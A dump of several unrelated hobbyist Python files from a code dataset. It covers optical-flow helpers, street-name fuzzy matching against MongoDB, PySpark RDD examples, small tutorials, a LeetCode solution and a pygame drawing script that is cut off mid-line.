np.isnan(pixel[1]):\n nans += 1\n return nans\n \n\ndef filter_not_nans(f, indices):\n \"\"\" Return a new list of indices, containing\n only pixels that are not nan in f. \"\"\"\n h = f.shape[0]\n w = f.shape[1]\n no_nans = []\n for i in indices:\n pixel = f[i[0]][i[1]]\n if np.isnan(pixel[0]) or np.isnan(pixel[1]):\n no_nans.append(i)\n return no_nans\n\ndef splat_motions(f, t=0.5):\n \"\"\" Splats all motions in f into a new, blank frame and returns it. \n \"\"\"\n h = f.shape[0]\n w = f.shape[1]\n splatty = np.zeros_like(f)\n for row in tqdm(range(h), nested=True):\n for col in range(w):\n splat_motion(f, splatty, row, col, t)\n return splatty \n\ndef check_bounds_cartesian(f, x, y):\n \"\"\" Returns true if (x,y) is in the cartesian bounds \n of f, else returns false. \"\"\"\n if (-0.5 <= x < 0.5) and (-0.5 <= y < 0.5):\n return True\n else:\n return False\n\ndef check_indices(f, x, y):\n \"\"\" Check indices [y, x] \"\"\"\n h = f.shape[0]\n w = f.shape[1]\n if ((0 <= y < h) and (0 <= x < w)):\n return True\n else:\n return False\n\ndef send_motion(src, row, col, t=0.5):\n \"\"\" find the pixel pointed to by the motion vector\n in src at [row, cow] \"\"\"\n motion = src[row][col]\n return (int(round(row+t*motion[0])),\n int(round(col+t*motion[1])))\n \ndef send_motion_pixel(src, dest, row, col, t=0.5):\n \"\"\" Sends each motion vector in src to the corresponding\n closest pixel in dest, t timesteps ahead. \"\"\"\n height = dest.shape[0]\n width = dest.shape[1]\n dc = send_motion(src, row, col)\n if (dc[0] >= 0 and dc[0] < height) and (dc[1] >= 0 and dc[1] < width):\n dest[dc[0], dc[1]] = src[row][col]\n\ndef send_motions(src, t=0.5):\n \"\"\" Create a new with motion vectors from src, tranfered\n t timesteps into the future. \"\"\"\n dest = np.zeros_like(src)\n rows = src.shape[0]\n cols = src.shape[1]\n for r in tqdm(range(rows)):\n for c in range(cols):\n send_motion_pixel(src, dest, r, c, t)\n return dest\n\ndef flowdist(m0, m1):\n \"\"\" Compute the distance between two optical flow vectors,\n m0 and m1. \"\"\"\n\n # Convert to homogeneous coordinates, assuming timestep \n # is just 1:\n assert(m0.shape == (2,))\n assert(m1.shape == (2,))\n m0h = np.array([m0[0], m0[1], 1])\n m1h = np.array([m1[0], m1[1], 1])\n top = m0h.dot(m1h)\n \n return 1 - (top / (np.linalg.norm(m0h) * np.linalg.norm(m1h)))\n\ndef patchdist(p0, p1):\n \"\"\" Compute the distance between two patches. Patches\n are 2d numpy arrays of flow vectors. \"\"\"\n assert(p0.shape == p1.shape)\n D = p0.size\n sum = 0\n for i in range(p0.shape[0]):\n for j in range(p1.shape[1]):\n sum += flowdist(p0[i, j], p1[i, j])\n return sum / D\n\ndef makepatch(image, c, w):\n \"\"\" make a patch from the image, centered at c and with\n width w \"\"\"\n rad = w // 2\n cx = c[0]\n cy = c[1]\n height = image.shape[0]\n width = image.shape[1]\n patch = np.zeros((w,w,image.shape[2]), dtype=image.dtype)\n \n for x in range(w):\n px = cx + x - rad\n for y in range(w):\n py = cy + y - rad\n if (0 <= py <= height) and (0 <= px <= width):\n patch[y, x] = image[py, px]\n return patch\n","repo_name":"hacoo/framebooster","sub_path":"booster/pixels.py","file_name":"pixels.py","file_ext":"py","file_size_in_byte":12612,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"61"} +{"seq_id":"38707756523","text":"#the dragon eye\r\nfrom zairfunctions import*\r\n\r\n\r\nbob.speed(0)\r\n\r\nbob.begin_fill()\r\nbob.circle(200)\r\nbob.color(\"red\")\r\nbob.end_fill()\r\njump(50,50)\r\nbob.circle(30)\r\n\r\njump(-110,145)\r\nbob.begin_fill()\r\nfor times in range(100):\r\n bob.forward(220)\r\n bob.left(128)\r\nbob.color(\"blue\")\r\nbob.end_fill()\r\n\r\nbob.color(\"lime\")\r\njump(47,217)\r\nbob.begin_fill()\r\nfor times in range(190):\r\n bob.forward(100)\r\n bob.left(178)\r\nbob.end_fill()\r\n\r\n\r\n\r\n\r\n","repo_name":"Ahmedofficial/python-design-project","sub_path":"project1.py","file_name":"project1.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36300801019","text":"import pymongo\nfrom math import floor, ceil\nimport itertools\n\n\ndef Livdistance(a, b):\n \"Calculates the Levenshtein distance between a and b.\"\n n, m = len(a), len(b)\n if n > m:\n # Make sure n <= m, to use O(min(n, m)) space\n a, b = b, a\n n, m = m, n\n\n current_row = range(n + 1) # Keep current and previous row, not entire matrix\n for i in range(1, m + 1):\n previous_row, current_row = current_row, [i] + [0] * n\n for j in range(1, n + 1):\n add, delete, change = previous_row[j] + 1, current_row[j - 1] + 1, previous_row[j - 1]\n if a[j - 1] != b[i - 1]:\n change += 1\n current_row[j] = min(add, delete, change)\n\n return current_row[n]\n\n# Function to calculate the\n# Jaro Similarity of two s\ndef jaro_distance(s1, s2):\n\t\n\t# If the s are equal\n\tif (s1 == s2):\n\t\treturn 1.0\n\n\t# Length of two s\n\tlen1 = len(s1)\n\tlen2 = len(s2)\n\n\t# Maximum distance upto which matching\n\t# is allowed\n\tmax_dist = floor(max(len1, len2) / 2) - 1\n\n\t# Count of matches\n\tmatch = 0\n\n\t# Hash for matches\n\thash_s1 = [0] * len(s1)\n\thash_s2 = [0] * len(s2)\n\n\t# Traverse through the first\n\tfor i in range(len1):\n\n\t\t# Check if there is any matches\n\t\tfor j in range(max(0, i - max_dist),\n\t\t\t\t\tmin(len2, i + max_dist + 1)):\n\t\t\t\n\t\t\t# If there is a match\n\t\t\tif (s1[i] == s2[j] and hash_s2[j] == 0):\n\t\t\t\thash_s1[i] = 1\n\t\t\t\thash_s2[j] = 1\n\t\t\t\tmatch += 1\n\t\t\t\tbreak\n\n\t# If there is no match\n\tif (match == 0):\n\t\treturn 0.0\n\n\t# Number of transpositions\n\tt = 0\n\tpoint = 0\n\n\t# Count number of occurrences/////////////\n\t# where two characters match but\n\t# there is a third matched character\n\t# in between the indices\n\tfor i in range(len1):\n\t\tif (hash_s1[i]):\n\n\t\t\t# Find the next matched character\n\t\t\t# in second\n\t\t\twhile (hash_s2[point] == 0):\n\t\t\t\tpoint += 1\n\n\t\t\tif (s1[i] != s2[point]):\n\t\t\t\tt += 1\n\t\t\tpoint += 1\n\tt = t//2\n\n\t# Return the Jaro Similarity\n\treturn (match/ len1 + match / len2 +\n\t\t\t(match - t) / match)/ 3.0\n\n\ndef DAS_sim(s1,s2):#s1>=s2\n\tif(len(s1)<len(s2)):\n\t\ts3=s1\n\t\ts1=s2\n\t\ts2=s3\n\tsim=0\n\tsimr=0\n\tk=0\n\tw=1/len(s1)\n\tfor i in range(len(s2)):\n\t\tif(s2[i]==s1[i]):\n\t\t\tk=1\n\t\telif((len(s2)!=len(s1)) and (s2[i]==s1[i+1])):\n\t\t\tk=0.8\n\t\telif((len(s2)!=len(s1)) and (i!=len(s2)-1)):\n\t\t\tk=0.8\n\t\tif(i==len(s2)-1):\n\t\t\tif(len(s2)!=len(s1)):\n\t\t\t\tif(s2[i]==s1[i+1]):\n\t\t\t\t\tk=0.8\n\t\t\telse:\n\t\t\t\tif(s2[i]==s1[i]):\n\t\t\t\t\tk=1\n\tsim+=w*k\n\tk=0\n\n\ts3 = s1[::-1]\n\ts4 = s2[::-1]\n\n\tfor i in range(len(s4)):\n\t\tif(s4[i]==s3[i]):\n\t\t\tk=1\n\t\telif((len(s4)!=len(s3)) and (s4[i]==s3[i+1])):\n\t\t\tk=0.8\n\t\telif((len(s4)!=len(s3)) and (i!=len(s4)-1)):\n\t\t\tk=0.8\n\t\tif(i==len(s4)-1):\n\t\t\tif(len(s4)!=len(s3)):\n\t\t\t\tif(s4[i]==s3[i+1]):\n\t\t\t\t\tk=0.8\n\t\t\telse:\n\t\t\t\tif(s4[i]==s3[i]):\n\t\t\t\t\tk=1\n\t\tsimr+=w*k\n\t\tk=0\n\tres=max(sim,simr)\n\treturn resприговор#Мой алгоритм, работает плохо.\n\n\ndef FillDictObj(Objdict):#Заполнение Словаря объектов из файла.\n\tkey = \"\"\n\tvalue = \"\"\n\tfile = open(\"datatxt.txt\",encoding=\"utf8\")\n\tlines = file.readlines()\n\ti=1\n\tfor line in lines:\n\t\tline=line.replace(\"\\n\", \"\")\n\t\tif(i%2==0):\n\t\t\tkey = line\n\t\t\tObjdict[key] = value\n\t\telse:\n\t\t\tvalue = line\n\t\ti=i+1\n\treturn Objdict\n\ndef FillDictNum(Somedict):#Заполнение Словаря числительных из файла.\n\tkey=\"\"\n\tvalue=\"\"\n\ti=1\n\tfile = open(\"DictionaryNumerals.txt\", encoding=\"utf8\")\n\tlines = file.readlines()\n\tfor line in lines:\n\t\tline=line.replace(\"\\n\", \"\")\n\t\tif(i%2==0):\n\t\t\tkey = line\n\t\t\tSomedict[key]=value\n\t\telse:\n\t\t\tvalue = line\n\t\ti=i+1\n\treturn \tSomedict#Заполнение словаря Числительных\n\ndef all_the_same(lst):\n\tif len(lst)<1:\n\t\treturn True\n\treturn len(lst) == lst.count(lst[0])\n\ndef PreAnalysis(s1,s2):#Выпиливание лишнего текста, приводим к нормальной форме.\n\ts1=s1.replace('ё','е')\n\ts2=s2.replace('ё','е')\n\ts1=s1.replace('(',' ')# Important or not? Московское шоссе (п Прикольный)/ Московское шоссе \n\ts1=s1.replace(')',' ')# (\"-\") Но только после редакц\n\ts2=s2.replace('(',' ')#\n\ts2=s2.replace(')',' ')#\n\ts1=s1.lower()\n\ts2=s2.lower()\t\n\n\tlst1 = s1.split()#Разбиваем строки на массивы слов\n\tlst2 = s2.split()\n\n\ts1=' '.join(lst1)#удаление повторяющихся пробелов\n\ts2=' '.join(lst2)#\n\n\tkeyObjs1 = ( set(lst1) & set(Objdict.keys()))#Ищем пересечение множества объектов в алфавите объектов и в наших словах and set(Objdict.values()) & set(lst1)\n\tkeyObjs2 = ( set(lst2) & set(Objdict.keys()))#& set(Objdict.values()) Обдумываение нужды.\n\tkeyNum1 = (set(lst1) & set(Numdict.keys()))#\n\tkeyNum2 = (set(lst2) & set(Numdict.keys()))\n\n\tStrNums1=\"\"\n\tStrNums2=\"\"\n\n\tfor i in keyNum1:\n\t\tStrNums1 = StrNums1 + i + \" \"\n\t\t\t\n\tfor i in keyNum2:\n\t\tStrNums2 = StrNums2 + i + \" \"\n\n\tStrNums1=StrNums1.split()\n\tStrNums2=StrNums2.split()\n\t\t\t\n\tN1=0\n\tif (len(keyNum1)!= 0):#Перевод числа из листа слов в цифры по словарю\n\t\tfor i in StrNums1:\n\t\t\tN1=N1+int(Numdict[i])\n\t\t\ts1=s1.replace(i,'')\n\t\t\ts1=s1.strip()\n\tif (N1!=0):\n\t\ts1=s1 + \" \" + str(N1)\n\t\n\tN2=0\n\tif (len(keyNum2)!= 0):\n\t\tfor i in StrNums2:\n\t\t\tN2=N2+int(Numdict[i])\n\t\t\ts2=s2.replace(i,'')\n\t\t\ts2=s2.strip()\n\tif (N2!=0):\n\t\ts2=s2 + \" \" + str(N2)\n\n\tPreres=\"Unknown\"\n\tif((N1!=N2) and ((any(map(str.isdigit,s1))) and (any(map(str.isdigit,s2)))) and (len(keyNum1)!=len(keyNum2))):#Если числительные не равны то разные улицы\n\t\tPreres=str(0)\n\n\taddition1=\"\"#Часть 1 предложения отвечающая за тип объекта\n\taddition2=\"\"\n\tfor i in keyObjs1:\n\t\taddition1 = addition1 + \" \" + i\n\t\t\n\tfor i in keyObjs2:\n\t\taddition2 = addition2 + \" \" + i\n\n\tAdditionList1 = addition1.split()\n\tAdditionList2 = addition2.split()\n\t\t\t\n\tlst1 = s1.split()#Разбиваем строки на массивы слов\n\tlst2 = s2.split()\n\n\tif((len(keyObjs1)==0) or (len(keyObjs2)==0)):\n\t\t#Если у одного из слов тип объекта неизвестен\n\t\tif ((len(keyObjs1) == 0) and (len(keyObjs2)==0)):#Если у обоих слов тип объекта неизвестен\n\t\t\ttypeOfObj = \"Неизвестно\"\n\t\telif(len(keyObjs1)==0):#Если у первого слова тип объекта неизвестен\n\t\t\tk=\"\"\n\t\t\tlsttemp=s2.split()\n\t\t\ttypeOfObj=\"\"\t\t\t\n\t\t\tfor i in AdditionList2:\n\t\t\t\tk=k+Objdict[i]\n\t\t\t\tfor j in lsttemp:\n\t\t\t\t\tif(j==i):\n\t\t\t\t\t\tlsttemp.remove(j)\n\t\t\t\ts2=' '.join(lsttemp)\n\t\t\t\ttypeOfObj = \"Неточный \" + k\n\t\telif(len(keyObjs2)==0):#Если у второго слова тип объекта неизвестен\n\t\t\tk=\"\"\n\t\t\tlsttemp=s1.split()\n\t\t\ttypeOfObj=\"\"\t\n\t\t\tfor i in AdditionList1:\n\t\t\t\tk=k+Objdict[i]\n\t\t\t\tfor j in lsttemp:\n\t\t\t\t\tif(j==i):\n\t\t\t\t\t\tlsttemp.remove(j)\n\t\t\t\ts1=' '.join(lsttemp)\n\t\t\t\ts1=s1.replace(i,'')#Удаляем из наших слов типы объектов\n\t\t\t\ttypeOfObj = 'Неточный ' + k\n\telse:#Если у обоих слов тип объекта известен\n\t\tk=\"\"\n\t\tlsttemp=s1.split()\n\t\ttypeOfObj=\"\"\n\t\tfor i in AdditionList1:\n\t\t\tk=k+Objdict[i]\n\t\t\tfor j in lsttemp:\n\t\t\t\tif(j==i):\n\t\t\t\t\tlsttemp.remove(j)\n\t\t\ts1=' '.join(lsttemp)\n\t\t\ts1=s1.strip()\n\t\tk=\"\"\n\t\tlsttemp=s2.split()\n\t\tfor i in AdditionList2:\n\t\t\tk=k+Objdict[i]\n\t\t\tfor j in lsttemp:\n\t\t\t\tif(j==i):\n\t\t\t\t\tlsttemp.remove(j)\n\t\t\ts2=' '.join(lsttemp)\n\t\t\ts2=s2.strip()\n\t\t\tfor i in AdditionList1:\n\t\t\t\tfor k in AdditionList2:\n\t\t\t\t\tif(Objdict[i]==Objdict[k]):\n\t\t\t\t\t\ttypeOfObj = typeOfObj + \" \" + Objdict[i]\n\tlst1=s1.split()\n\tlst2=s2.split()\n\n\tlst3=[]\n\tfor i in lst1:#Увеличение границы верных значений\n\t\tif((i[-2:]=='ая') or (i[-2:]=='ой') or (i[-2:]=='ое') or (i[-2:]=='ый') or (i[-2:]=='ий') or (i[-2:]=='яя')):\n\t\t\ti=i[:-2]\n\t\t\tlst3.append(i)\n\t\telif((i[-3:]=='ого')):\n\t\t\ti=i[:-3]\n\t\t\tlst3.append(i)\n\t\telif(((i[-2:]=='ая') or (i[-2:]=='ой') or (i[-2:]=='ое') or (i[-2:]=='ый') or (i[-2:]=='ого') or (i[-2:]=='ий') or (i[-2:]=='яя') ) == False):\n\t\t\tlst3.append(i)\n\tlst4=[]\n\tfor i in lst2:#Увеличение границы верных значений\n\t\tif((i[-2:]=='ая') or (i[-2:]=='ой') or (i[-2:]=='ое') or (i[-2:]=='ый') or (i[-2:]=='ий') or (i[-2:]=='яя')):\n\t\t\ti=i[:-2]\n\t\t\tlst4.append(i)\n\t\telif((i[-3:]=='ого')):\n\t\t\ti=i[:-3]\n\t\t\tlst4.append(i)\n\t\telif(((i[-2:]=='ая') or (i[-2:]=='ой') or (i[-2:]=='ое') or (i[-2:]=='ый') or (i[-2:]=='ого') or (i[-2:]=='ий') or (i[-2:]=='яя') ) == False):\n\t\t\tlst4.append(i)\n\n\t\n\treturn [lst3,lst4,typeOfObj,Preres]\n\n#насколько похожи предложения. разбиваем на слова\nObjdict = {}#Словарь для проверки на тип объекта(Улица, проспект и т.д.). Think something about try / catch and auto adding words in dictionary file. However.... \nNumdict = {}#Словарь для проверки числительных. Should i add search in values too (Objdict)?\n#Закрыть файл после чтения.\nFillDictObj(Objdict)\nFillDictNum(Numdict)\n\n#подключение к Mongodb\ndb_client = pymongo.MongoClient(\"mongodb://localhost:27017/\")\ncurrent_db = db_client[\"local\"]\ncollection0 = current_db[\"mar_houses\"]\ncollection1 = current_db[\"2gis_houses\"]\ncollection2 = current_db[\"fias_houses\"]\ncollection3 = current_db[\"ingeo_houses\"]\ncollection4 = current_db[\"osm_houses\"]\ncollection5 = current_db[\"uiks_houses\"]\n\ns1 = \"\"#Наши строчки для сравнения\ns2 = \"\"#\n\ncounterPlus=0\ncounterMinus=0\ncounterEmpty = 0\nfor channel in collection0.find():\n\ts1 = channel['Street']\n\tfiasId = channel['fiasID']\n\tif (fiasId == None):\n\t\tnoneid = channel['_id']\n\t\tprint(noneid,\"Нету фиас id в mar_houses\")\n\t\tcounterEmpty+=1\n\telse:\n\t\tchannel2 = collection2.find_one({'ID':fiasId})\n\t\tif (channel2 == None):\n\t\t\tprint(\"В fias_houses нету такого ID:\",fiasId )\n\t\t\tcounterEmpty+=1\n\t\telse:\n\t\t\tprint(s1)\n\t\t\ts2 = channel2['Street']\n\t\t\tprint(s2)\n\t\t\tres=0;\n\t\t\ttyptypeOfObjRes=\"\"\n\n\t\t\t#lst = PreAnalysis('Улица Ульяновская','ул Ульяновская')\n\n\t\t\tif(s1!=s2):\n\t\t\t\tlst=PreAnalysis(s1,s2)\n\t\t\t\tlst1=lst[0]\n\t\t\t\tlst2=lst[1]\n\t\t\t\ttyptypeOfObjRes=lst[2]\n\t\t\t\tPreres=lst[3]\n\t\t\t\tif((len(typtypeOfObjRes)==0) or (Preres==str(0))):#Если цифры не совпадают, то бан.\n\t\t\t\t\tres=0\n\t\t\t\telse:\n\t\t\t\t\tfor i in itertools.permutations(lst1):\n\t\t\t\t\t\ts1 = \" \".join(i)\n\t\t\t\t\t\ts1=s1.replace(\"-\",\"\")#Обработка тире\n\t\t\t\t\t\tfor j in itertools.permutations(lst2):\n\t\t\t\t\t\t\ts2 = \" \".join(j)\n\t\t\t\t\t\t\ts2=s2.replace(\"-\",\"\")#Обработка тире\n\t\t\t\t\t\t\tif(res<round(jaro_distance(s1, s2),6)):\n\t\t\t\t\t\t\t\tres=round(jaro_distance(s1, s2),6)\n\t\t\t\tif(res==0):\n\t\t\t\t\tcounterMinus+=1\n\t\t\t\t\tprint(\"hmm\")\n\t\t\t\telse:\n\t\t\t\t\tcounterPlus+=1\n\t\t\telse:\n\t\t\t\tres=1\n\t\t\tprint(\"Jaro\", res)\nprint(\"100%: \",counterPlus,\" 0%: \",counterMinus)\nprint(\"meme\")","repo_name":"asdariuos/PythonPractice","sub_path":"PythonPractice/PythonPractice.py","file_name":"PythonPractice.py","file_ext":"py","file_size_in_byte":10965,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15580963167","text":"a=10 #object of class Int\nprint(type(a))\n\nclass Movie:\n def genre(self): #self is not a keyword,but a pointer pointing to a specific instance,if no self then typeError\n print(\"in genre\")\n\nMovie.genre() #without creating object\n\nmovie1 = Movie() #object of class Movie\nmovie2 = Movie()\n\nMovie.genre(movie1) #behind the scenes,we pass the object to the class function\nMovie.genre(movie2)\n\n#industry standard\nmovie1.genre()\n\n\n\n\n\n","repo_name":"chandradharrao/Python-Application-Programming-PAP-","sub_path":"lec_30_8_21/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19791030931","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 30 10:59:55 2022\n\n@author: peter.davids\n\"\"\"\n\nfrom days.GenericDay import GenericDay\nfrom langdetect import detect\nfrom spellchecker import SpellChecker\n\nclass Day5(GenericDay):\n def __init__(self, message):\n GenericDay.__init__(self, \"Day5 solution\")\n self.cypher = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ .\"\n self.message = message\n\n def getSolution(self):\n result = \"\"\n check = SpellChecker()\n max_known = 0\n \n for offset in range(len(self.cypher)):\n decrypted_message = \"\"\n for i in range(len(self.message)):\n pos = self.cypher.find(self.message[i])\n decrypted_message += self.cypher[(pos + offset)%len(self.cypher)]\n lang = detect(decrypted_message)\n \n if lang == \"en\":\n #There is a decent chance this is English\n words = decrypted_message.split(\" \")\n known = check.known(words)\n \n # The sentence with most known English words is _probably_ our solution\n if len(known) > max_known:\n max_known = len(known)\n result = decrypted_message\n \n return result\n \n","repo_name":"Drak0z/soq2022","sub_path":"days/Day5.py","file_name":"Day5.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10003936744","text":"from pyspark import SparkContext\n\nsc = SparkContext()\nrdd1 = sc.textFile(\"/bigdata/a_seafood.txt\")\n\n# map\ndef func(item):\n data = item.split(\":\")\n return data[0], data[1]\n\nrdd2 = rdd1.map(func)\nresult = rdd2.collect()\n\ndef f(item):\n print(f\"当前元素是: {item}\")\n\n[f(item) for item in result]\n\n# flatMap\nrdd1 = sc.parallelize([\"黑虎虾, 扇贝, 黄花鱼, 鲈鱼, 罗非鱼, 鲜贝, 阿根廷红虾\"])\nrdd2 = rdd1.flatMap(lambda item: item.split(\",\"))\nresult = rdd2.collect()\n[f(item) for item in result]\n\n\n# lookup\nrdd1 = sc.textFile(\"/bigdata/a_seafood.txt\")\nrdd2 = rdd1.map(func)\nresult = rdd2.lookup(\"黑虎虾\")\nprint(f\"当前元素是: {result}\")\n\n# zip\nrdd1 = sc.parallelize([139, 16.9, 49.9, 35.9, 29.9], 3) # 最后的3表示分区数\nrdd2 = sc.parallelize([\"黑虎虾\", \"扇贝\", \"黄花鱼\", \"鲈鱼\", \"罗非鱼\"], 3)\nresult = rdd2.zip(rdd1).collect()\n[f(item) for item in result]\n\n# join\nrdd1 = sc.parallelize([(\"黑虎虾\", 100), (\"扇贝\", 10.2), (\"鲈鱼\", 55.9)])\nrdd2 = sc.parallelize([(\"黑虎虾\", 139), (\"扇贝\", 16.9), (\"黄花鱼\", 35.9), (\"罗非鱼\", 29.9)])\nresult = rdd1.join(rdd2).collect()\nprint(f'join的结果是: {result}')\n\n# leftOuterJoin\nresult = rdd1.leftOuterJoin(rdd2).collect()\n[f(item) for item in result]\n\n# fullOuterJoin\nresult = rdd1.fullOuterJoin(rdd2).collect()\n[f(item) for item in result]\n\n# combineByKey\nrdd = sc.parallelize([(\"黑虎虾\", 139), (\"黑虎虾\", 100), (\"扇贝\", 16.9), (\"扇贝\", 10.2), (\"海参\", 59.9), (\"鲈鱼\", 35.9), (\"罗��鱼\", 29.9)])\n\ndef to_list(a):\n return [a]\n\ndef append(a, b):\n a.append(b)\n return a\n\ndef extend(a, b):\n a.extend(b)\n return a\n \nresult = rdd.combineByKey(to_list, append, extend).collect()\n[f(item) for item in result]\n","repo_name":"kevinva/hoho_python_bigdata_ml","sub_path":"hadoop_spark_python_bigdata_from_algorithm_to_practise/hoho4.py","file_name":"hoho4.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13007741377","text":"import sys\n\ndef moonweight():\n print('How much do you weigh?')\n weight = int(sys.stdin.readline())\n \n print('How long are you staying?')\n years = int(sys.stdin.readline())\n \n print('How much do you plan to gain per year?')\n addlbs = int(float(sys.stdin.readline()))\n \n for x in range(1, years):\n print('Year %s you would weigh %slbs.' % (x, (weight * 0.25)))\n weight = weight + addlbs\n \nmoonweight()\n## print(moonweight()) returns None -- just call the function directly here\n\n","repo_name":"cwtopel/python","sub_path":"forkids/moonweight.py","file_name":"moonweight.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41927285842","text":"class Dog:\r\n \"\"\"Simple attempt to model a dog.\"\"\"\r\n \r\n def __init__(self, name, age):\r\n self.name = name\r\n self.age = age\r\n \r\n def sit(self):\r\n print(f\"{self.name} is now sitting.\")\r\n \r\n def rollOver(self):\r\n print(f\"{self.name} rolled over!\")\r\n \r\nmyDog = Dog('Willie',6)\r\nyourDog = Dog('Lucy',3)\r\n\r\nprint(f\"\\nMy dog's name is {myDog.name}.\")\r\nprint(f\"My dog is {myDog.age} years old.\")\r\nmyDog.sit()\r\nmyDog.rollOver()\r\n\r\nprint(f\"\\nMy dog's name is {yourDog.name}.\")\r\nprint(f\"My dog is {yourDog.age} years old.\")\r\nyourDog.sit()\r\nyourDog.rollOver()","repo_name":"anjicruz/PythonCrashCourse","sub_path":"Chapter 9 CLASSES/dog.py","file_name":"dog.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14296934639","text":"\"\"\"\n230. Kth Smallest Element in a BST\nhttps://leetcode.com/problems/kth-smallest-element-in-a-bst/\n\"\"\"\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def kthSmallest(self, root: TreeNode, k: int) -> int:\n\n # Morris traversal\n # use left nodes of the leaf nodes to link to the inorder predecessor\n # O(1) space complexity, O(n) time\n # [1] Initialize current as root\n # while current is not null\n # [2] If current does not have a left child\n # a. get current's data\n # b. step right curr -> curr.right\n # [3] Else\n # a. in current's left subtree make current the right child of the rightmost node\n # b. Go to this left child, i.e., current = current->left\n curr = root\n while curr:\n if curr.left is None:\n k -= 1\n if k == 0: return curr.val\n curr = curr.right\n else:\n # [1]\n pre = curr.left # previous\n while pre.right is not None and pre.right is not curr:\n pre = pre.right\n if pre.right is None:\n # Make current as right child of its inorder predecessor\n pre.right = curr\n curr = curr.left\n else:\n # Revert the changes made\n # in the 'if' part to restore the\n # original tree. i.e., fix\n # the right child of predecessor\n pre.right = None\n k -= 1\n if k == 0: return curr.val\n curr = curr.right\n\n # O(h) space complexity where h ~ log n is the height of the tree of n nodes (because of storing the stack memory)\n # [1] Preorder traverse the BST and increment a counter\n # [2] Once the count reaches k, return the node's value\n # self.k = k\n # self.res = None\n # self.dfs(root)\n # return self.res\n #\n # def dfs(self, root):\n # if not root: return\n # self.dfs(root.left)\n # self.k -= 1\n # if self.k == 0:\n # self.res = root.val\n # return\n # self.dfs(root.right)\n\n # self.count = 0\n # return helper(root.right)\n\n # Brute Force\n # [1] Preorder traverse the BST and store as list. The resulting list will be ordered\n # by increasing values because of the BST property.\n # [2] return the k-th element\n # O(n) time complexity & O(n) space\n\n # def preorder(root):\n # if not root: return []\n # return preorder(root.left) + [root.val] + preorder(root.right)\n # traversal = preorder(root)\n # return traversal[k-1]\n","repo_name":"mathvolcano/leetcode","sub_path":"0230_kthSmallest.py","file_name":"0230_kthSmallest.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73538896193","text":"import tkinter as tk\nimport tkinter.messagebox\nimport pygame\nfrom pygame import *\n\n# mkeyboard = pynput.keyboard.Controller()\n\npygame.init()\nscreen = pygame.display.set_mode([640, 480])\nscreen.fill([0, 0, 255])\nroot = tk.Tk()\nx = 1\nzSize = 10\nySize = 10\naButton = tk.Button(root, text = \"toggle color\", fg = \"Blue\")\naButton.pack()\n# root=Tk()\n# root.mainloop()\n# def replayMoves():\n# get array of positions\n# divide them into coordinates\n# start animation\n\ndef tkscreentest():\n finished = False\n rr = 255\n gg = 255\n bb = 255\n screen = pygame.display.set_mode([640, 480])\n screen.fill([rr, gg, bb])\n screen2 = pygame.display.set_mode([640, 480])\n screen2.fill([rr, gg, bb])\n x = 50\n x_speed = 10\n yy = 1\n operation = \"Ready\"\n ySize = 10\n zSize = 10\n currentsurface = pygame.display.get_surface()\n print(currentsurface)\n while finished == False:\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if event.type == pygame.KEYDOWN and event.key == K_x:\n tt = yy - 1\n finished = True\n if event.type == pygame.KEYDOWN and event.key == K_a:\n zSize += 1\n record = True\n if event.type == pygame.KEYDOWN and event.key == K_z:\n zSize -= 1\n record = True\n if event.type == pygame.KEYDOWN and event.key == K_q:\n ySize -= 1\n record = True\n if event.type == pygame.KEYDOWN and event.key == K_w:\n ySize += 1\n record = True\n\n yy = yy + 1\n pygame.time.delay(20)\n x = x + x_speed\n if x > 480 or x < 0:\n x_speed = -x_speed\n pygame.display.flip()\n mouseX = pygame.mouse.get_pos()[0]\n mouseY = pygame.mouse.get_pos()[1]\n transparency = -1 # No thickness = -1\n pygame.draw.rect(screen2, [0, 0, 0], [mouseX, mouseY, 30, 30], transparency)\n mouseX = pygame.mouse.get_pos()[0]\n mouseY = pygame.mouse.get_pos()[1]\n button_pressed = pygame.mouse.get_pressed()\n if (button_pressed[0] == True):\n record = True\n print(\"Left button pressed\")\n rr = 0\n gg = 0\n bb = 255\n pygame.draw.circle(screen, [rr, gg, bb], [80, 400], 20, 0)\n pygame.draw.rect(screen, [0, 0, 255], [mouseX, mouseY, zSize, ySize], 0)\n else:\n if (button_pressed[1] == True):\n record = True\n rr = 0\n gg = 255\n bb = 0\n print(\"Middle button pressed\")\n pygame.draw.circle(screen, [rr, gg, bb], [80, 400], 20, 0)\n pygame.draw.rect(screen, [0, 255, 0], [mouseX, mouseY, zSize, ySize], 0)\n else:\n if (button_pressed[-1] == True):\n record = True\n rr = 255\n gg = 0\n bb = 0\n print(\"Right button pressed\")\n pygame.draw.circle(screen, [rr, gg, bb], [80, 400], 20, 0)\n pygame.draw.rect(screen, [255, 0, 0], [mouseX, mouseY, zSize, ySize], 0)\n else:\n print(\"Doing nothing\")\n record = False\n if (button_pressed[0] == True and button_pressed[-1] == True):\n record = True\n rr = 255\n gg = 255\n bb = 255\n pygame.draw.rect(screen, [rr, gg, bb], [mouseX, mouseY, 